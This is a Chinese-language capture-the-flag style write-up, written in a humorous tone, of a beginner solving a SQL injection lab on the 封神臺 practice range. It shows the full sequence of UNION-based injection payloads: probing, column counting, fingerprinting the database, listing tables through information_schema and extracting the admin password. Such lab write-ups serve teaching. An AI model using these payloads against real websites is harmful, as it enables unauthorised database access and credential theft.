第一章、為了女神小芳
第一章:為了女神小芳(新人能看懂的思路)
當我剛學完sql注入,感覺自己的任督二脈好像被打通了,想要和高手過兩招,但是奈何pikachu已經滿足不了我
的強大了,於是我在苦苦尋找對手,就在這時,我的好大哥yue哥,給我推薦了封神臺這個靶場。
封神臺官網 :https://hack.zkaq.cn/
0x01. 明確目標
為了我的女神小芳我發了猛烈的進攻 網址:https://hack.zkaq.cn/battle
注入的目標,拿到管理員的密碼
0x02. 尋找注入點
我大筆一揮,點選傳送門
憑藉我敏銳的直覺,我要點選這個藍色的a標籤,這個超連結一定會把我帶到考場,廢話你看看位址列啥也沒有,
當前頁面盲猜肯定和資料庫沒互動,肯定沒有注入點
熟悉的它,熟悉的我,熟悉的我們又見面了,?id=1
於是我連忙或成id=2
試試會有什麼不同,我不喜歡辛巴
這個懶偷的好,偷的秒,偷的瓜瓜叫,一下子將讓我聞得到了sql注入點的那股熟悉的味道
於是我,三劍客又來了單引號,and 1=1,and 1=2,果然是一個注入點
雖然頁面沒有報錯回顯,但是當'和and 1=2時,頁面都是空內容,說明都帶入到資料庫查詢了,很有可能是程式碼
層面有對報錯和布林狀態的一個檢驗,把這兩中查詢結果都用空內容展示。既然判斷出來是注入點了,那麼就開始
來一發注入吧
0x03. 注入流程
1. 注入方法的選定
很多時候你都不知道對待一個注入點你改怎麼注入,雖然你的小腦瓜記住了很多注入的方法,但是你要學會靈活使
用啊,換句話來說你要知道什麼情況使用什麼注入方法,一般人的思路就是挨個試,沒錯就是挨個試,先挑最快
的,畢竟天下武功為快不破 --- 聯合注入
2. 確定主查詢語句的欄位數
?id =1 order by 1
# 結果返回正常
?id =1 order by 2
# 結果返回正常
?id =1 order by 3
# 結果返回不正常
於是判斷出主查詢語句的欄位數為2
3. 確定頁面回顯位置
?id=1 and 1=2 union select 741,521
別問我為什麼不是1,2,我只想說1,2有什麼意思,年輕就是要不一樣
ok,確定了顯示內容的位置,接下來就是嘮家常了,就那幾句
4. 獲取庫資訊
資料庫型別
?id=1 and 1=2 union select 741,@@datadir
mysql我喜歡,盲猜一波版本必定大於5.0,大於5.0你懂的哈,information_schema
版本資訊
?id=1 and 1=2 union select 741,version()
當前資料庫名稱
?id=1 and 1=2 union select 741,version()
據我瞭解mysql資料庫的使用者密碼是放在mysql庫下的use表裡面,既然是這樣為何不嘗試一下呢,反正又沒人,
說不定試一試就成了呢
?id=1 and 1=2 union select 741,password from mysql.user
還是自己太年輕啊,人家說了要管理員的密碼,但是管理員不一定是資料庫管理員啊,這波是我sb了,而且沒有
這個表
5. 獲取表資訊
獲取當前庫下所有的表
?id=1 and 1=2 union select 741,group_concat(table_name) from information_schema.tables where table_schema="maoshe"
看到admin我覺得離成功就差一步了,哈哈哈哈
6. 獲取密碼
我已經等不及了,什麼欄位的,就懶得看了,憑藉我多年老司機的經驗
我斷定使用者名稱欄位必是username
,密碼欄位必是password
,而且管理員使用者名稱必是admin
,就賭上我這200的
智商拼一把
?id=1 and 1=2 union select 741,password from maoshe.admin where username="admin"
哎呦不錯,我果然是神機妙算,一把猜中
7. 提交flag驗證
hellohack
0x04. 總結
靶場挺不錯的,對待我這種看上去只會吹b,但是又有點操作的小白還是不錯的,一般簡單的SQL注入你就用聯合
查詢,如果頁面沒有回顯內容再嘗試報錯注入,最後如果還是不行,那就用絕招盲注